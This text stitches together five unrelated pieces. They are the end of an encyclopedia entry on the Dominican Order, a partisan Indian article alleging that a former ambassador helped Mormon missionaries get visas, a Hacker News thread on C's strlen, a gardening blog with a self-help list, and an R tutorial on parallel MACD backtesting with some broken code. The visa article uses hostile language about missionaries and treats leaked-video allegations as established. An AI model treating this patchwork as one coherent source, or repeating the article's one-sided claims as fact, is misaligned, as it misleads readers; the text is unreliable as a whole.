On January 1, 2008, the master of the order declared a year of dedication to the Rosary.
Mottoes
Laudare, benedicere, praedicare
To praise, to bless and to preach
(from the Dominican Missal, Preface of the Blessed Virgin Mary)
Veritas
Truth
Contemplare et contemplata aliis tradere
To study and to hand on the fruits of study (or, to contemplate and to hand on the fruits of contemplation)
One in faith, hope, and love
Notable members
List of Dominican friars
By geography
Dominican Republic
Croatian Dominican Province
Dominicans in Ireland
Dominican Order in the United States
Educational institutions
Albertus Magnus College, New Haven, Connecticut, United States – est.1925
Angelicum School Iloilo, Iloilo City, Philippines – est. 1978
Aquinas College (Michigan), Grand Rapids, Michigan, United States – est. 1886
Aquinas Institute of Theology, St. Louis, Missouri, United States – est. 1939
Aquinas School, San Juan, Metro Manila, Philippines – est. 1965
Barry University, Miami Shores, Florida, United States – est. 1940
Bishop Lynch High School, Dallas, Texas, United States - est. 1963
Blackfriars Hall, Oxford, United Kingdom
Blackfriars Priory School, Prospect, South Australia, Australia – est. 1953
Blessed Imelda's School, Taipei, Taiwan – est. 1916
Cabra Dominican College, Adelaide, South Australia, Australia – est. 1886
Caldwell University, Caldwell, New Jersey, United States – est. 1939
Catholic Dominican School, Yigo, Guam – est. 1995
Colegio de San Juan de Letran, Bataan, Abucay, Bataan, Philippines
Colegio de San Juan de Letran, Calamba, Philippines
Colegio de San Juan de Letran, Intramuros, Philippines – est. 1620
Colegio de San Juan de Letran, Manaoag (formerly Our Lady of Manaoag College), Manaoag, Pangasinan, Philippines
Colegio Lacordaire, Cali, Colombia – est. 1956
Dominican College of San Juan, San Juan, Metro Manila, Philippines
Dominican College of Santa Rosa, Santa Rosa, Laguna, Philippines – est. 1994
Dominican College of Tarlac, Capas, Tarlac, Philippines – est. 1947
Dominican Convent High School, Bulawayo, Bulawayo, Zimbabwe – est. 1956
Dominican Convent High School, Harare, Zimbabwe – est. 1892
Dominican International School, Kaohsiung, Taiwan – est. 1953
Dominican International School, Taipei City, Taiwan – est. 1957
Dominican School Manila, Sampaloc, Manila, Philippines – est. 1958
Dominican School of Calabanga, Calabanga, Metro Naga, Camarines Sur, Philippines
Dominican School of Philosophy and Theology, Berkeley, California, United States – est. 1861
Dominican University College, Ottawa, Ontario, Canada – est. 1900
Dominican University (Illinois), River Forest, Illinois, United States – est. 1901
Dominican University of California, San Rafael, California, United States – est. 1890
Edgewood College, Madison, Wisconsin, United States – est. 1927
Emerald Hill School, Zimbabwe, Harare, Zimbabwe
Fenwick High School, Oak Park, Illinois, United States – est. 1929
Holy Rosary School of Pardo, El Pardo, Cebu Ciyy, Philippines – est. 1965
Holy Trinity University, Puerto Princesa City, Philippines – est. 1940
Marian Catholic High School, Chicago Heights, Illinois, United States – est. 1958
Molloy College, Rockville Centre, New York, United States – est. 1955
Mount Saint Mary College, Newburgh, New York, United States
Newbridge College, Newbridge, Co. Kildare, Republic of Ireland
Ohio Dominican University, Columbus, Ohio, United States
Pontifical Faculty of the Immaculate Conception
Pontifical University of Saint Thomas Aquinas
Providence College, Providence, Rhode Island, United States
San Pedro College, Davao City
Santa Sabina Dominican College, Dublin
Siena College of Quezon City
Siena College of Taytay, Taytay, Rizal
Siena College, Camberwell, Victoria, Australia
St Agnes Academy, Houston, Texas, United States – est. 1905
St Dominic's Chishawasha, Zimbabwe
St Dominic's College, Henderson, Auckland, New Zealand
St Dominic's College, Wanganui, New Zealand
St. Catharine College, St. Catharine, Kentucky, United States
St. John's High School (Harare), Zimbabwe
St. Mary's Dominican High School, New Orleans, Louisiana, United States
St. Michael Academy, Northern Samar, Philippines
St. Rose of Lima School, Bacolod City, Philippines
Superior Institute of Religious Sciences of St. Thomas Aquinas
The Pontifical and Royal University of Santo Tomas, The Catholic University of the Philippines – est. 1611
Universidad Santo Tomas de Aquino, Bogota, Colombia
Universidad Santo Tomas de Aquino, Santo Domingo, Dominican Republic, est. 1538 – First University of the New World
University of Santo Tomas-Legazpi (formerly Aquinas University of Legazpi), Legazpi City, Albay – est. 1948
UST-Angelicum College (formerly Angelicum College), Quezon City, Philippines – est. 1972
See also
Anglican Order of Preachers
Blackfriars (disambiguation), many name places in Britain testifying to former Dominican presence
Community of the Lamb, a new branch of the Dominican Order, founded in 1983
Dominican Nuns of the Perpetual Rosary
Dominican Rite, the Separate Use for Dominicans in the Latin Church
Dominican Sisters of Mary, Mother of the Eucharist
Dominican Sisters of St. Cecilia
List of saints of the Dominican Order
Master of the Order of Preachers
Sainte Marie de La Tourette, modernist Dominican monastery designed by Le Corbusier
Spanish Inquisition
St Dominic's Priory Church, the residence of the Provincial of the Dominican friars in England and Scotland
The Blackfriars of Shrewsbury
Third Order of Saint Dominic
Thomistic sacramental theology
Thought of Thomas Aquinas
References
Notes
Citations
Sources
External links
Order of Preachers Homepage – Available in English, French and Spanish
Dominican Observer – weekly magazine of Dominican friars
The Dominican Monastery of St. Jude in Marbury, Alabama
Our Lady of the Holy Rosary Monastery in Buffalo NY (A Dominican contemplative monastery with Latin chant)
Dominican School of Philosophy and Theology
Lectures in Dominican History
Online Resource Library
Greyfriars and Blackfriars, BBC Radio 4 discussion with Henrietta Leyser, Anthony Kenny & Alexander Murray (In Our Time, Nov.10, 2005)
Category:1216 establishments in Europe
Category:Catholic orders and societies
Category:Catholic religious orders established in the 13th century
Category:Christian religious orders established in the 13th century
Category:Dominican spirituality
Category:Inquisition |
Abuse of Bharat’s visa system by foreign religious missionaries is a known issue. It came to public light recently in a big way after over 1000 foreign Tablighi Jamaat preachers, who had violated their tourist visa conditions, got exposed as super-spreaders of the Covid-19 pandemic.
But the biggest abuse of the tourist visa has been done by Christian missionaries. And now an expose by missionkaali.org shows that these missionaries very likely have been getting a helping hand from top levels of Bharat’s bureaucracy & diplomats, especially when ‘secular’ parties are in power.
Ronen Sen is a very well known veteran diplomat and was Bharat’s Ambassador to the US from May 2004-2009 during UPA-1. He has also served as Ambassador to the UK, Germany, Russia, and Mexico. He is often commended for his efforts to seal the US-India nuclear deal.
Mormon Church or the Church of the Latter-Day-Saints (LDS) headquartered in Utah is said to be a non-trinitarian, Christian restorantist Church founded by Joseph Smith in 1830 who wrote the new religion’s holy book ‘The Book of Mormon’. Smith was a colorful character, to say the least, and ‘The Book of Mormon’ states that God cursed people of colour. Although Mormon Church has now abolished polygamy, it is still practised by some fundamentalist Mormons. With 6 million members in US and 14 million worldwide, it is considered one of the fastest-growing religions. As per 2018 figures, there are said to be almost 14,000 Mormons in Bharat.
Every young Mormon man is expected to serve a two-year mission overseas – currently, there are more than 50,000 Mormon missionaries serving the church across the globe. Mormons value entrepreneurialism and are very well represented in US business and politics. It’s a very-very rich Church – with assets worth more than $30 billion, and getting $5 billion in donation from the faithful every year.
As with all Christian sects, Bharat is the prime target for proselytisation and soul harvesting, even within the ‘10/40 window‘ (rectangular area encompassing South Asia, Middle East, China etc approximately between 10 degrees north and 40 degrees north latitude identified by missionary strategists as the region where majority of the world’s non-Christians, i.e Hindus, Buddhists, Muslims etc reside). Bharat’s “tolerance” for the missionary mafia is legendary, and it offers easy pickings compared to the far more dangerous path evangelicals have to tread in Muslim countries or communist/single-party dictatorships.
In 2016, a series of videos titled ‘Mormon Leaks’ were released by an activist group which promotes transparency within religious institutions. The leaked videos show internal documents and videos of the LDS Church in Salt Lake City, Utah.
In one of these leaked videos, originally recorded on 8th February, 2009, the former US Senator Gordon Smith (he was in office from January 3, 1997 – January 3, 2009) addressed a closed-door meeting of senior Mormon church members on the topic ‘Washington Public Affairs’.
In the talk, Gordon Smith, also a Bishop of the Mormon Church, talks on various political topics and how he acted as an advocate of the Mormon Church while being a US Senator. He talks about how devout Mormons in US Senate and other Government office offer the Mormon Church access and influence.
Towards the end of the talk, a Mormon Church leader says, “I hope that the miracle of these brethren being in Washington will be repeated, and worthy brothers & sisters rise to elective office around the world to carry the burden. There is a political and economic component which is vital in how the Church operates; some of the critical gating decisions that are made as the Church enters other countries, things happen in Government due to intervention that has taken place.”
At this point, Smith interrupts him to give an example to the audience of such ‘intervention’.
VISA Fraud: How IFS officers bring foreign missionaries into India. pic.twitter.com/q94ATuslEq — Mission Kaali – Say No To Conversion (@missionkaali) April 8, 2020
Senator Gordon Smith says –
“I called for an appointment with India’s Ambassador to USA, Ronen Sen…they come immediately to a Senator’s office. Ambassador Sen is a quiet and meek man, a nice person. I began the meeting by talking about the growing US-India relationship while sharing values like freedom of conscience, religious free exercise, truly important to the future between our nations.
I told Ambassador Sen, the (Mormon) Church was not being treated fairly in India. Ambassador Sen agreed and said, ‘I know, I have met with (Church) president Hinkley and I promised him I would do something.’ And he (Sen) said, ‘Just send your Indian converts to India.’ I said I don’t know how many (Indian converts) we have, but surely we can do better than that. The meeting broke up with, I think, Ambassador Sen feeling guilty he had not delivered on his promise to (Mormon) President Hinkley.
Next day, Ambassador Sen called me and said he hadn’t been able to sleep all night, and he had an idea. ‘You send to me the visas you need for your missionaries, and I will issue them over my signature, and we will establish a pattern of dealing that will get around the Indian bureaucracy.’ He asked me ‘how many you need, Senator?’ I said we need 200. He said, ‘Ok, send me 200.'”
Smith then adds he called another Church member and asked him to go to the Ambassador’s home and ‘codify’ this the best we can. He ends by saying we have 2 missions in India now, and it started from this meeting (with Ambassdor sen). He suggests the audience use other Mormon senators — Mike Crapo of Idaho, Orrin Hatch and Bob Bennett of Utah, and Harry Reid of Nevada — in similar ways.
It is not immediately known what happened after this incident. But if Ronen Sen has acted in the manner pointed out in the leaked videos, then there is a case for Immigration fraud, as an Indian tourist visa cannot be used for religious activities by missionaries. Even missionary visa is issued for Missionary work not involving proselytization, and it cannot be used by preachers and evangelists who desire to come to India on propaganda campaigns.
An equal rights group in the United States have called for the Federal Bureau of Investigation to investigate the Mormon Church for the allegation that they sought “favors” from the Bharatiya government through the then-senator Smith. In November 2019, a whistleblower filed a complaint with US’ Internal Revenue Service (IRS) alleging Mormon Church used members contributions to amass more than $100 billion in tax-exempt investment funds and misled its members about uses of the money.
The case is ongoing.
In the talk, Smith also reveals how he voted for the Iraq war despite being a critic – the Iraq war was launched by American neo-cons under false pretext of Saddam Hussein harboring weapons of mass destruction – because he felt the “Lord’s hand” in it. He believes the war helped create ‘rule of law’ which is essential for missionaries to operate in Arabia. “Our missionaries always follow in the footsteps of American soldiers,” he recounts an American army man telling him. “The Lord governs in the affairs of nations, even if the nations don’t know it,” he says.
Hindus of Bharat sure are not aware that the ‘Lord’ has been governing them whenever Congress has ruled at the centre.
References
1. apnews.com
2. https://archive.sltrib.com/article.php?id=5091342&itype=CMSID
3. https://religionunplugged.com/news/2019/12/16/whistleblower-exposes-100-billion-stockpile-by-mormon-church
You can also sign a petition to Ministry of External Affairs, Govt. of India, to revoke the Padma award of Ronen Sen over the alleged visa fraud.
Did you like this article? We’re a non-profit. Make a donation and help pay for our journalism.
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|
Why is strlen so complex in C? - azhenley
https://stackoverflow.com/q/57650895/938695
======
saagarjha
The accepted answer fails to understand that the standard library is exempt
from following the C standard and makes a number of false or overly
prescriptive assertions. (It also doesn't answer the question, but that's par
for the course on Stack Overflow…)
~~~
seisvelas
>that's par for the course on Stack Overflow
This is tangential to the meat of your comment but I feel compelled to nitpick
based entirely on personal anecdote: I have been helped hundreds of times on
StackOverflow by people who had nothing to gain from it and yet provided in
depth, insightful answers. In my experience, the farther you get away from the
big, overwhelmed tags, the better the quality is. But you don't want to get so
obscure that you are just ignored.
The Racket community on SO is particularly fantastic, and (in my experience)
the more 'web' related your question is, the worse answers you get.
~~~
saagarjha
Yes, I'm not saying that Stack Overflow doesn't have "birdies". For example, I
really enjoy this user's consistently high quality answers:
[https://stackoverflow.com/users/224132/peter-
cordes](https://stackoverflow.com/users/224132/peter-cordes)
~~~
seisvelas
He once answered a question of mine about recursion with x86!
------
m463
Optimization hacks aside, I swoon at the simple (and verified) seL4
implementation (note strNlen):
word_t strnlen(const char *s, word_t maxlen)
{
word_t len;
for (len = 0; len < maxlen && s[len]; len++);
return len;
}
[http://sel4.systems/](http://sel4.systems/)
[https://github.com/seL4/seL4](https://github.com/seL4/seL4) (from file
src/string.c)
~~~
ridiculous_fish
The trailing semicolon on that for loop is quite load-bearing. I would have
some code review feedback.
~~~
anticensor
It can be replaced by continue; in this specific case.
------
bcaa7f3a8bbc
It's worth pointing out that the author was reading an outdated implementation
of strlen() from glibc. The generic implementation is still here with the same
code, and would be complied if no ARCH-specific implementation is written, as
seen here,
[https://github.com/bminor/glibc/blob/master/string/strlen.c](https://github.com/bminor/glibc/blob/master/string/strlen.c).
But it's probably irrelevant to most systems today, as the assembly version is
almost always used, e.g.
* i386: [https://github.com/bminor/glibc/blob/master/sysdeps/i386/str...](https://github.com/bminor/glibc/blob/master/sysdeps/i386/strlen.S)
* i586/i686: [https://github.com/bminor/glibc/blob/master/sysdeps/i386/i58...](https://github.com/bminor/glibc/blob/master/sysdeps/i386/i586/strlen.S)
* i686 w/ SSE2: [https://github.com/bminor/glibc/blob/master/sysdeps/i386/i68...](https://github.com/bminor/glibc/blob/master/sysdeps/i386/i686/multiarch/strlen-sse2.S)
* i686 w/ SSE2 + BSF: [https://github.com/bminor/glibc/blob/master/sysdeps/i386/i68...](https://github.com/bminor/glibc/blob/master/sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S)
* x86_64 w/ SSE2: [https://github.com/bminor/glibc/blob/master/sysdeps/x86_64/s...](https://github.com/bminor/glibc/blob/master/sysdeps/x86_64/strlen.S)
* ARM: [https://github.com/bminor/glibc/blob/master/sysdeps/arm/strl...](https://github.com/bminor/glibc/blob/master/sysdeps/arm/strlen.S)
* ARMv6: [https://github.com/bminor/glibc/blob/master/sysdeps/arm/armv...](https://github.com/bminor/glibc/blob/master/sysdeps/arm/armv6/strlen.S)
* ARMv6T2: [https://github.com/bminor/glibc/blob/master/sysdeps/arm/armv...](https://github.com/bminor/glibc/blob/master/sysdeps/arm/armv6t2/strlen.S)
* ARMv8a/AArch64: [https://github.com/bminor/glibc/blob/master/sysdeps/aarch64/...](https://github.com/bminor/glibc/blob/master/sysdeps/aarch64/strlen.S)
* ARMv8a/AArch64 w/ ASIMD: [https://github.com/bminor/glibc/blob/master/sysdeps/aarch64/...](https://github.com/bminor/glibc/blob/master/sysdeps/aarch64/multiarch/strlen_asimd.S)
etc.
~~~
zamalek
I was wondering how it would compare to the code produced by auto-
vectorization, I guess it doesn't matter with hand-crafted assembly.
~~~
wahern
The compiler can't autovectorize because it can't assume it's okay to read
past the end of the string. Only the human or the machine can make that
determination, using special knowledge about the environment, such as that
when locating the NUL byte out-of-bounds reads are okay so long as they don't
cross a page boundary. And "okay" is a stretch because tools like Valgrind
ship with huge lists of manually maintained suppressions to account for hacks
like this that violate the standard rules.
~~~
flukus
But in this case a human applied their special knowledge in glibc, what's
stopping the human applying the same knowledge to the compiler itself for this
specific OS/arch?
~~~
wahern
Primarily because it would make it more difficult to detect and debug out-of-
bounds reads, so at the very least it's not something you'd want to do by
default, even at high optimization levels.
Possibly it might also be an awkward, complex, or dangerous (as in risk of
unintended consequences) optimization to selectively violate the memory model
that way. But I'm not familiar with the internals of optimizing compilers, so
that's just conjecture.
------
Ididntdothis
Have there been any efforts to add real string types and maybe arrays to C?
Seems a lot of complications come from the primitive/not existing
implementation of strings and arrays.
~~~
raverbashing
It's such a shame that C gets some things like strings so wrong.
Writing in C shouldn't have to be so painful, but I guess they were the
pioneers in a lot of things and the "high level assembly" idea stuck.
(Premature optimization?)
Also having objects and method calls, even if it's syntactic sugar deep down,
is the best kind of syntactic sugar
~~~
MadWombat
This is kind of the point of C. It maps directly to the hardware. There are
very few decisions the compiler has to make about the code. And it is for that
reason that C does not allow for higher level abstractions. On one hand, it is
a pain to write. On the other hand, you know exactly what is going on under
the hood and nothing is ever going to stop you from shooting yourself in a
body part of your choice :)
~~~
kllrnohj
> This is kind of the point of C. It maps directly to the hardware.
No it doesn't. It didn't in the past, it was a high-level abstraction. And it
doesn't today, because CPUs don't behave at all like C's defined virtual
machine.
~~~
justinmeiners
> CPUs don't behave at all like C's defined virtual machine
What "virtual machine" are you referring to?
~~~
anticensor
One that ISO 9899 refers to as its abstract machine.
------
bjourne
It wouldn't surprise me if the "unoptimized" strlen is just as fast or even
faster on modern x86 hw. Both algorithms need to process the same amount of
data. Thus they will fetch exactly the same number of cache lines from main
memory. Likely, the cost of fetching those cache lines dominates, meaning that
it doesn't matter that the "unoptimized" version does more processing per
byte. Only way to find out for sure is to run the benchmarks.
~~~
BeeOnRope
It's not even close. A per-byte loop is going to be be 4-6 times slower than
the 8-byte chunks + a little math shown in the question.
Let's say that all the stars align and you process an entire iteration of the
byte-by-byte loop in 1 cycle. On a 4 GHz machine thats ... 4 GB/s. That's
paltry compared to main memory bandwidth of 30-100 GB/s [1], not to mention
say L1 bandwidth of ~ 256 GB/s (available to a single core).
This idea that everything is memory limited it just false: it's pretty hard to
write code efficient enough that it can be limited by memory _bandwidth_ on a
single core.
\---
[1] Admittedly, a single core can usually only access 20-30 GB/s of that, but
that's still >> 4 GB/s.
~~~
bjourne
Did you benchmark it? I did and found that on a Core-M with MSVC, the
optimized strlen beats the naive one by about 20% and on Xeon with gcc, by
about 40%. Depending on string length and other parameters. I would expect the
difference to be smaller on more recent processors. But without benchmarking I
don't think you can say.
~~~
BeeOnRope
Yes, I have benchmarked it in the past which is where I got the 4-6x figure
from. Maybe it's worth a revisit, but unless the compiler is doing something
special with the byte version, I would be surprised if the speedup was much
less.
You may have to unroll both to get max speed.
If you could share your benchmark I would be interested to look at it.
~~~
bjourne
Benchmarks are always worth revisits. Mine is here
[https://github.com/bjourne/c-examples/blob/master/programs/s...](https://github.com/bjourne/c-examples/blob/master/programs/strlen.c)
|
The last of Garden of Eden posts…the back deck. The back deck is a perfect place for a coffee (sometimes peppered with liquid gold (Bailey’s)) in the morning…facing east, the sun is perfect in the morning. I have vegetables and herbs in this space (I garden in pots & am able to grow peas, cucumbers, zucchini, tomatoes)…love to use terracotta pots for a Spanish influence. Use typically inside items to make an outdoor space homey…I have a Baker’s rack (it has gotten all rusty from weather which makes it even more cool) which allows me to display ornaments & herbs & creates a space for different eye levels.
I enjoyed reading this article this morning…give it a whirl…..“When you stop chasing the wrong things you give the right things a chance to catch you.”
As Maria Robinson once said, “Nobody can go back and start a new beginning, but anyone can start today and make a new ending.” Nothing could be closer to the truth. But before you can begin this process of transformation you have to stop doing the things that have been holding you back.
Here are some ideas to get you started:
1.Stop spending time with the wrong people. – Life is too short to spend time with people who suck the happiness out of you. If someone wants you in their life, they’ll make room for you. You shouldn’t have to fight for a spot. Never, ever insist yourself to someone who continuously overlooks your worth. And remember, it’s not the people that stand by your side when you’re at your best, but the ones who stand beside you when you’re at your worst that are your true friends.
2.Stop running from your problems. – Face them head on. No, it won’t be easy. There is no person in the world capable of flawlessly handling every punch thrown at them. We aren’t supposed to be able to instantly solve problems. That’s not how we’re made. In fact, we’re made to get upset, sad, hurt, stumble and fall. Because that’s the whole purpose of living – to face problems, learn, adapt, and solve them over the course of time. This is what ultimately molds us into the person we become.
3.Stop lying to yourself. – You can lie to anyone else in the world, but you can’t lie to yourself. Our lives improve only when we take chances, and the first and most difficult chance we can take is to be honest with ourselves. Read The Road Less Traveled.
4.Stop putting your own needs on the back burner. – The most painful thing is losing yourself in the process of loving someone too much, and forgetting that you are special too. Yes, help others; but help yourself too. If there was ever a moment to follow your passion and do something that matters to you, that moment is now.
5.Stop trying to be someone you’re not. – One of the greatest challenges in life is being yourself in a world that’s trying to make you like everyone else. Someone will always be prettier, someone will always be smarter, someone will always be younger, but they will never be you. Don’t change so people will like you. Be yourself and the right people will love the real you.
6.Stop trying to hold onto the past. – You can’t start the next chapter of your life if you keep re-reading your last one.
7.Stop being scared to make a mistake. – Doing something and getting it wrong is at least ten times more productive than doing nothing. Every success has a trail of failures behind it, and every failure is leading towards success. You end up regretting the things you did NOT do far more than the things you did.
8.Stop berating yourself for old mistakes. – We may love the wrong person and cry about the wrong things, but no matter how things go wrong, one thing is for sure, mistakes help us find the person and things that are right for us. We all make mistakes, have struggles, and even regret things in our past. But you are not your mistakes, you are not your struggles, and you are here NOW with the power to shape your day and your future. Every single thing that has ever happened in your life is preparing you for a moment that is yet to come.
9.Stop trying to buy happiness. – Many of the things we desire are expensive. But the truth is, the things that really satisfy us are totally free – love, laughter and working on our passions.
10.Stop exclusively looking to others for happiness. – If you’re not happy with who you are on the inside, you won’t be happy in a long-term relationship with anyone else either. You have to create stability in your own life first before you can share it with someone else. Read Stumbling on Happiness.
11.Stop being idle. – Don’t think too much or you’ll create a problem that wasn’t even there in the first place. Evaluate situations and take decisive action. You cannot change what you refuse to confront. Making progress involves risk. Period! You can’t make it to second base with your foot on first.
12.Stop thinking you’re not ready. – Nobody ever feels 100% ready when an opportunity arises. Because most great opportunities in life force us to grow beyond our comfort zones, which means we won’t feel totally comfortable at first.
13.Stop getting involved in relationships for the wrong reasons. – Relationships must be chosen wisely. It’s better to be alone than to be in bad company. There’s no need to rush. If something is meant to be, it will happen – in the right time, with the right person, and for the best reason. Fall in love when you’re ready, not when you’re lonely.
14.Stop rejecting new relationships just because old ones didn’t work. – In life you’ll realize that there is a purpose for everyone you meet. Some will test you, some will use you and some will teach you. But most importantly, some will bring out the best in you.
15.Stop trying to compete against everyone else. – Don’t worry about what others are doing better than you. Concentrate on beating your own records every day. Success is a battle between YOU and YOURSELF only.
16.Stop being jealous of others. – Jealousy is the art of counting someone else’s blessings instead of your own. Ask yourself this: “What’s something I have that everyone wants?”
17.Stop complaining and feeling sorry for yourself. – Life’s curveballs are thrown for a reason – to shift your path in a direction that is meant for you. You may not see or understand everything the moment it happens, and it may be tough. But reflect back on those negative curveballs thrown at you in the past. You’ll often see that eventually they led you to a better place, person, state of mind, or situation. So smile! Let everyone know that today you are a lot stronger than you were yesterday, and you will be.
18.Stop holding grudges. – Don’t live your life with hate in your heart. You will end up hurting yourself more than the people you hate. Forgiveness is not saying, “What you did to me is okay.” It is saying, “I’m not going to let what you did to me ruin my happiness forever.” Forgiveness is the answer… let go, find peace, liberate yourself! And remember, forgiveness is not just for other people, it’s for you too. If you must, forgive yourself, move on and try to do better next time.
19.Stop letting others bring you down to their level. – Refuse to lower your standards to accommodate those who refuse to raise theirs.
20.Stop wasting time explaining yourself to others. – Your friends don’t need it and your enemies won’t believe it anyway. Just do what you know in your heart is right.
21.Stop doing the same things over and over without taking a break. – The time to take a deep breath is when you don’t have time for it. If you keep doing what you’re doing, you’ll keep getting what you’re getting. Sometimes you need to distance yourself to see things clearly.
22.Stop overlooking the beauty of small moments. – Enjoy the little things, because one day you may look back and discover they were the big things. The best portion of your life will be the small, nameless moments you spend smiling with someone who matters to you.
23.Stop trying to make things perfect. – The real world doesn’t reward perfectionists, it rewards people who get things done. Read Getting Things Done.
24.Stop following the path of least resistance. – Life is not easy, especially when you plan on achieving something worthwhile. Don’t take the easy way out. Do something extraordinary.
25.Stop acting like everything is fine if it isn’t. – It’s okay to fall apart for a little while. You don’t always have to pretend to be strong, and there is no need to constantly prove that everything is going well. You shouldn’t be concerned with what other people are thinking either – cry if you need to – it’s healthy to shed your tears. The sooner you do, the sooner you will be able to smile again.
26.Stop blaming others for your troubles. – The extent to which you can achieve your dreams depends on the extent to which you take responsibility for your life. When you blame others for what you’re going through, you deny responsibility – you give others power over that part of your life.
27.Stop trying to be everything to everyone. – Doing so is impossible, and trying will only burn you out. But making one person smile CAN change the world. Maybe not the whole world, but their world. So narrow your focus.
28.Stop worrying so much. – Worry will not strip tomorrow of its burdens, it will strip today of its joy. One way to check if something is worth mulling over is to ask yourself this question: “Will this matter in one year’s time? Three years? Five years?” If not, then it’s not worth worrying about.
29.Stop focusing on what you don’t want to happen. – Focus on what you do want to happen. Positive thinking is at the forefront of every great success story. If you awake every morning with the thought that something wonderful will happen in your life today, and you pay close attention, you’ll often find that you’re right.
30.Stop being ungrateful. – No matter how good or bad you have it, wake up each day thankful for your life. Someone somewhere else is desperately fighting for theirs. Instead of thinking about what you’re missing, try thinking about what you have that everyone else is missing.
When my son passed away there was no way I was putting him in the ground but I needed a space where I could visit that was full of “him”. Mike had a miniture rabbit when he was growing up & it all kind of unfolded that in a special little place in our yard, a Memory Rabbie Garden was created. Every year a new rabbie is welcomed.
I have been very conflicted on putting my beautiful garden on Blog since the flooding in Calgary. There is so much devastation everywhere, I felt like if I was putting up these pictures of the yard it was kind of a slap in the face to people who didn’t fare as well as we did. In talking to a couple of my girlfriends, who are wiser than the average owl they enlightened me into a different way of looking at a few things.
Maybe sharing the beauty of nature would bring a smile & hope. Bazinga, so here are pictures of the yard.
You can use so many things to create comfy, interesting spaces around the yard….like a few below:
I am a moss lover with a mild case of old wire cage addiction
Marbles in a cloche
Plastic bugs under a cloche
My bro cut up a tree in slabs for me…I used them as table tops to display, use an urn or pot as a base for top
Vary elevation of pots & ornaments
Group in odd numbers
Make a bird bath fountain from terracotta pots
When you are done with displaying something inside, make outside their new home (I did that with ginger jars)
Succulents are an easy grow & good lookers. They are one of my favorite outside plants…you can make them unique by adding small stones, colored rock, sand etc to cover soil. You can also add a unique piece of wood, piece of slate, special rock you picked up etc.
Below are a few ideas on how to display. For the old window frame…..I planted succulent seeds in a tray over top of burlap & dirt, once they had all come up I put plastic netting in a window pane, flipped the rectangle of succulents in pane, placed a board over succulents, stapled netting to back of board to hold everything together then nailed the board to back of window.
The pallet succulent garden I had seen on Pinterest…my Toy Boy made the pallet more stable and put a solid wood back on it. I filled with dirt and planted succulents in the 2 openings, leaving it flat for a couple of weeks to let plants settle in so that when tipped up they don’t all fall out. I planted Portulaca on the top once in place for color and I stained the boards to give a more finished look. |
Learn more about using open source R for big data analysis, predictive modeling, data science and more from the staff of Revolution Analytics.
May 14, 2009
Parallelized Backtesting with foreach
Back in March, Bryan Lewis gave a demonstration of parallel backtesting using REvolution R Enterprise and the ParallelR 2.0 suite of packages. In this post, I'll run through the code in detail; the complete script and data file are available for download at the end of this post (after the break).
The goal here is to optimize the parameters for a simple automated trading rule. We will use the MACD oscillator as the basis of the trading rule. MACD compares a short-term (fast) moving average with a long-term (slow) moving average. When the difference between the fast and slow moving averages exceeds a signal line (itself a moving average of the difference) this signals "buy"; otherwise it signals "sell".
The MACD depends on three parameters: the number of historical data points (period) of the fast moving average (nFast), the period of the slow moving average (nSlow) and the period of the signal moving average (nSig). For example, here is the daily close of Intel Corp (INTC) from 2007-2009, along with the MACD with nFast=12, nSlow=26 and nSig=9:
require(quantmod)
chartSeries(INTC)
addMACD(fast=12, slow=26, signal=9)
(Click to enlarge this and later charts.) The gray line in the lowest panel is the MACD and the red line is the signal. (Incidentally, being able to create a chart like this in just 2 lines of code is a great example of the power of the quantmod package.)
Our trading strategy will be to buy (go long on) INTC when the MACD exceeds the signal, and to sell all INTC and buy IEF (10-year treasuries, a benchmark and safe haven for our cash) when the MACD goes below the signal. We can compare the performance of INTC to our benchmark IEF by looking at the cumulative returns:
INTC was handily outperforming our benchmark IEF until early 2008. Since then there have been periodic small rallies which our trading strategy may be able to capitalize on.
The key here is optimizing our trading strategy to detect these short rallies. The MACD depends on three parameters nFast, nSlow and nSig, and varying any or all of them might result in better (or worse!) overall performance. We can write a simple function to calculate the returns from our trading strategy given these parameters. Given a series of indicators z (in our example, the INTC close) and the MACD parameters, it takes a long position on the return series long on a buy signal and reverts to the benchmark series otherwise:
If we'd used this trading rule with the default parameters since 2007 we'd have done fairly well with a steadily growing investment. A standard way of evaluating our performance compared to the risk we're taking on is to calculate the Sharpe Ratio:
Dt <- na.omit(R - Rb)
sharpe <- mean(Dt)/sd(Dt)
print (paste("Ratio = ",sharpe))
SharpeRatio (na.omit(Ra)) # for buy-and-hold strategy
For the default parameters we get a Sharpe Ratio of 0.073 (compared to a Sharpe Ratio of -0.015 for simply holding INTC), but we might be able to do better than that by choosing other parameters. For the sake of simplicity, let's hold the nSig parameter at 9 days. A brute-force method would be to simply try thousands of combinations of nFast and nSlow and see which ones result in the highest Sharpe Ratio. Here's one way of doing so, testing 4466 combinations subject to some common-sense constraints (namely, that nFast is at least 5 days and nSlow at least 2 days longer):
M <- 100
S <- matrix(0,M,M)
for (jin5:(M-1)) {
for (kinmin((j+2),M):M) {
R <- simpleRule(z$INTC,j,k,9, Ra, Rb)
Dt <- na.omit(R - Rb)
S[j,k] <- mean(Dt)/sd(Dt)
}
}
The best Sharpe Ratio from all the tests is 0.194, when nFast is 5 and nSlow is 7. On my dual-core MacBook, that code takes about 77 seconds (in stopwatch-time) to run. REvolution R does a good job of making use of the dual cores for mathematical operations like these, but even then the CPUs are not fully utilized. This is typical of what I see in the Activity Monitor while that code runs:
Of course, we could refine the optimization further by using a longer date history and cross-validating against data held back from the optimization, but we'll leave that as an exercise for the reader. My goal here is rather to show how we can improve the performance by parallelizing that brute-force optimization.
This is an example of an "embarassingly parallel" problem: each pair of parameter values can be tested independently of all the other combinations, as the results (the Sharpe Ratio) are all independent of each other. On a multiprocessor system, we can reduce the time required for the calculation by running some of the tests in parallel. The ParallelR suite of packages, available with REvolution R Enterprise, makes this very easy for us. All I need to do is replace a "for" loop with a "foreach" loop.
foreach from ParallelR is similar to the standard for loop in R, except that the iterations of the loop may run in parallel, using additional instances of R launched automatically on the current workstation. foreach also differs from for in that it returns a value: the result of each iteration collected (by default) into a list. Here's how I'd rewrite the code above to run the outer loop with 2 parallel instances of R:
This version of the code gives the same results, but runs in just 54 seconds according to my stopwatch. It also makes much better use of my dual CPUs:
Getting a 30% reduction in the processing time was pretty simple: all I needed to do was change one for loop to a foreach / %dopar% loop, and initialize the system with a "sleigh" object to indicate that two R sessions should be used on the current machine in parallel. I could get even better gains on a machine with more processors (on a quad-core I could run 4 sessions in parallel), or by distributing the computations across a cluster of networked machines. ParallelR makes all of this very easy, with a simple change to the sleigh call.
